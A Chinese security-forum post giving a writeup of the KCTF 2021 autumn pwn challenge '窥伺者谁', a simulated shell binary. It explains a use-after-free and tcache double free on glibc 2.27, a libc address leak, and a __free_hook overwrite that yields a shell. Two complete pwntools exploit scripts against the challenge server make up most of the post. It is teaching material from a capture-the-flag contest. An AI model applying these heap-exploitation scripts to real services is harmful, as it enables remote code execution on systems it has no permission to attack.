首页
社区
课程
招聘
[原创]KCTF 2021秋季赛 窥伺者谁 writeup
2021-11-30 23:17 15326

[原创]KCTF 2021秋季赛 窥伺者谁 writeup

2021-11-30 23:17
15326

题目分析

题目模拟了一个手写的shell

 

里面的文件系统可以分为3个结构体,name,data,text,目录具有name和data,普通文件具有三个,结构体大致如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
struct name{
    char file_name[0x20];
};
struct data{
    long long is_not_dir;
    data *pre_dir;//文件这里标为1,目录标为0
    data *son[16];//普通文件这里不使用
    name *file_name;
    text *file_data;//目录不具有此项目
}
struct text{
    char text[?];
}

主要是有一个uaf的漏洞,如果创建文件夹在里面创建文件之后写内容的话,在文件夹的外面删掉这个文件会导致里面的text堆块被free,但是不清空指针。由于是2.27的libc,可以直接在tcache 中double free实现任意申请。

 

由于各种保护拉满,所有地址都未知,那么此时必须先想办法泄露出libc的地址,如果能泄露出libc的地址,那么可以直接double free 劫持free hook去getshell。能输出堆块上内容的基本就一个ls指令,但是它在输出之前会check目录名是否合法,合法的条件基本就是,肯定屏蔽了特殊字符和不可打印的那些字节的,如果要泄露出一个地址那么必定是会含有这些字节的。但是我注意到了echo函数,echo函数的非重定向选项会先strlen一遍那个sysbuf然后根据这个长度去泄露,并不会check上面的字节。如果我在上面带上了libc的地址那么就可以开心地泄露了。但是它这个读非常的安全,遇到\n才会截止输入并且那个\n最后会变成\0,那么唯一的绕过方法就是直接读它个0x5000的数据,然后后面放上libc的地址就可以泄露了。

 

那么我先double free,然后再在sysbuf上面的最后八个字节伪造成一个size,再让指针指向它free,这样等会填充0x5000个字节的时候后面直接会出现libc的地址。由于这是2.27的版本,构造unsorted bin必须要先填满tcache,且进入unsorted bin的话会对前后堆块check,所以这里我们为了check大小刚好构造为0xf1大小,然后此时再创建7个文件,并让他的text堆块对应0xf1的大小并一一删除填满tcache。这样的话free那个堆块进入unsortedbin之后就会携带libc的地址了。

 

需要注意,因为只有最后三位偏移固定,所以double free之后要爆破半个字节才能成功指到对应的地方去free。free之后就非常简单,直接在sysbuf上填写0x5000个字符然后echo直接输出就可以泄露出那个地址了。泄露出来了之后就很简单了,故技重施,double free劫持free_hook位system,然后删除一个带有/bin/sh字符串的文件就可以愉快地getshell了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
#context.log_level='debug'
context.arch='amd64'
context.os='linux'
libc_version='2.27'
 
global p
def conn(x,file_name,port=9999,ip='101.35.172.231'):
 
    if x:
        p=process(file_name)
    else:
        p=remote(ip,port)
    return ELF(file_name),ELF(file_name),p
 
def ls(name):
    p.sendlineafter(b'$',b'ls')
    p.sendlineafter(b'path> ',name)
 
def mkdir(name):
    p.sendlineafter(b'$',b'mkdir')
    p.sendlineafter(b'name',name)
 
def rm(name):
    p.sendlineafter(b'$',b'rm')
    p.sendlineafter(b'filename> ',name)
 
def cd(name):
    p.sendlineafter(b'$',b'cd')
    p.sendlineafter(b'path> ',name)
 
def echo(msg,red,path=b'./'):
    p.sendlineafter(b'$',b'echo')
    p.sendafter(b'arg>',msg)
    p.sendlineafter(b'redirect?>',red)
    if red==b'Y' or red==b'y':
        p.sendlineafter(b'path> ',path)
 
def touch(name):
    p.sendlineafter(b'$',b'touch')
    p.sendlineafter(b'filename> ',name)
 
 
def pwn():
    global p
    elf,libc,p=conn(0,'./chall',port=10000)
    libc=ELF('./libc.so.6')
    mkdir(b'dir')
    cd(b'dir')
    touch(b'flag')
    echo(b'a'*0x10+b'\n',b'y',b'flag')
    cd(b'..')
    for i in range(2):
        rm(b'./dir/flag')
    gdb.attach(p)
    echo(p16(0x3260)+b'\n',b'y','dir/flag')
 
    touch(b'flag1')
    echo(b'a'*0x4ff8+p64(0xf1),b'n')
 
    echo(b'a'*8+b'\n',b'y',b'flag1')
    touch(b'flag2')
    touch(b'flag3')
    touch(b'flag4')
    gdb.attach(p)
    echo(b'/bin/sh\0'+b'\n',b'y',b'flag2')
    for i in range(7):
        touch(str(i))
        echo(b'a'*0xe0+b'\n',b'y',str(i))
    for i in range(7):
        rm(str(i))
 
    rm(b'flag2')
    echo(b'a'*0x5000,b'n')
    #p.recvuntil(b'\x7f')
    libc_addr=u64(p.recvuntil(b'\x7f',timeout=0.5)[-6:]+b'\0\0')-96-0x10-libc.sym['__malloc_hook']
    success('libc_addr:'+hex(libc_addr))
    rm('dir/flag')
    echo(p64(libc_addr+libc.sym['__free_hook'])+b'\n',b'y',b'dir/flag')
    echo(b'/bin/sh\n',b'y',b'flag3')
    echo(p64(libc_addr+libc.sym['system'])+b'\n',b'y',b'flag4')
    rm(b'flag3')   
    #gdb.attach(p)
    p.interactive()
while True:
    try:
        pwn()
    except:
        continue

后面把题目给fmyy师傅分析了一下,他给出了另外一种解法

  1. 因为程序打印的时候有检测是否为可见字符,而我们只需要修改一个libc地址的最后三个字节就能改到system函数,所以我们这里可以将libc地址的倒数第二字节和第三字节爆破打印出来
    2.首先则是将一个文件名所在的堆块的size修改后将其释放进unsorted bin,从而fd带有libc地址,再将该地址末字节改为A,最终的效果则是libc地址改为了0x7Fnn00****41,然后通过ls直接爆破,只要**** 这两个字节位于可见字符位置,即可打印出来这两个字节,再把unsorted bin 中的chunk清空
  2. 重新释放一个堆块进入unsorted bin,进一步则是通过泄漏的两个字节,再次修改unsorted bin chunk的fd中的libc地址劫持到freehook
  3. 修改unsorted bin chunk中的bk地址,指向freehook-0x10 ,进行unsorted bin attack,利用之前泄漏的两个字节,把freehook中的libc地址改为system函数地址即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import *
def ls(name):
    p.sendlineafter('$','ls')
    p.sendlineafter('path> ',name)
 
def mkdir(name):
    p.sendlineafter('$','mkdir')
    p.sendlineafter('name',name)
 
def rm(name):
    p.sendlineafter('$','rm')
    p.sendlineafter('filename> ',name)
 
def cd(name):
    p.sendlineafter('$','cd')
    p.sendlineafter('path> ',name)
 
def echo(msg,path='./',red='Y'):
    p.sendlineafter('$','echo')
    p.sendlineafter('arg>',msg)
    p.sendlineafter('redirect?>',red)
    if red=='Y' or red=='y':
        p.sendlineafter('path> ',path)
 
def touch(name):
    p.sendlineafter('$','touch')
    p.sendlineafter('filename> ',name)
 
 
 
libc = ELF('./libc-2.27.so')
while True:
#    p = process('./main')
    p = remote('101.35.172.231',10000)
    try:
        mkdir("dir")
        cd("dir")
        for i in range(16):
            touch('test'+str(i))
        cd("..")
        echo('U'*0x10, 'dir/test'+str(2))
        echo('U'*0x10, 'dir/test'+str(3))
        echo('U'*0x410,'dir/test'+str(4))
        echo('U'*0x80, 'dir/test'+str(5))
        for i in range(2):
            rm('dir/test2')
 
        echo('\x00','dir/test'+str(2))
        echo('FMYY','dir/test'+str(6))
        echo(p64(0) + p64(0x491),'dir/test'+str(7))
 
        for i in range(2):
            rm('dir/test2')
        echo('\x10','dir/test'+str(2))
        echo('FMYY','dir/test'+str(8))
        echo('FMYY','dir/test'+str(9))
 
        rm('dir/test9')
 
        echo('F','dir/test'+str(9))
 
        for i in range(2):
            rm('dir/test2')
        echo('\x13','dir/test'+str(2))
        echo('FMYY','dir/test'+str(10))
        echo('\x00','dir/test'+str(11))
 
        # here bruteforce the libc address and leak the two-bytes when it in the range of visiable-ascii
 
        ls('dir/')
 
        try:
            p.recvuntil('test14\n')
            libc_16bits = (u32(p.recvuntil('\n',drop=True,timeout=0.2).ljust(4,'\x00')) >> 8) #
            if libc_16bits == 0:
                p.close()
                continue
            log.info('LEAK:\t' + hex(libc_16bits))
        except:   
            p.close()
            continue
        echo('\x00'*0x28 + p64(0x21),'dir/test'+str(5))
        for i in range(4):
            rm('dir/test2')
 
        echo(p64(0x21)*(0x480/8),'dir/test'+str(5))
        rm('dir/test3')
        echo(p64(0x31)*(0x480/8),'dir/test'+str(5))
        rm('dir/test3')
        echo(p64(0x441)*(0x480/8),'dir/test'+str(5))
        rm('dir/test3')
 
        freehook_24bits = ((libc_16bits + 0x1C)<<8) + 0xE8
        echo('\x00'*0x48 + p64(0x441) + p32(freehook_24bits)[0:3],'dir/test'+str(5))
        echo('\x00'*8 + p32(freehook_24bits - 0x10)[0:3] ,'dir/test'+str(12))
 
        echo('\x00'*8,'dir/test'+str(13))
 
        system_24bits = ((libc_16bits - 0x39C8)<<8) + 0x40
        echo('\x00'*0x430,'dir/test'+str(14))
        echo(p32(system_24bits)[0:3],'dir/test'+str(13))
 
        echo('/bin/sh\x00','dir/test'+str(14))
        rm('dir/test14')
        break
    except:
        p.close()
        pass
 
p.interactive()

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2021-12-1 19:46 被xi@0ji233编辑 ,原因:
收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回